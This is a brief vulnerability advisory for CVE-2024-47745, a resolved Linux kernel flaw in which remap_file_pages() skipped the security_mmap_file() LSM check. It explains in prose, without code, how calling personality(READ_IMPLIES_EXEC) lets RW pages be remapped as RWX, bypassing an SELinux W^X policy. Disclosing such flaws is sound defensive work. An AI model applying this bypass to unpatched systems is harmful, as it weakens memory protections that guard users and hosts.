CVE-2024-47745

Estado: ModificadaAlta (7.8)—

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].
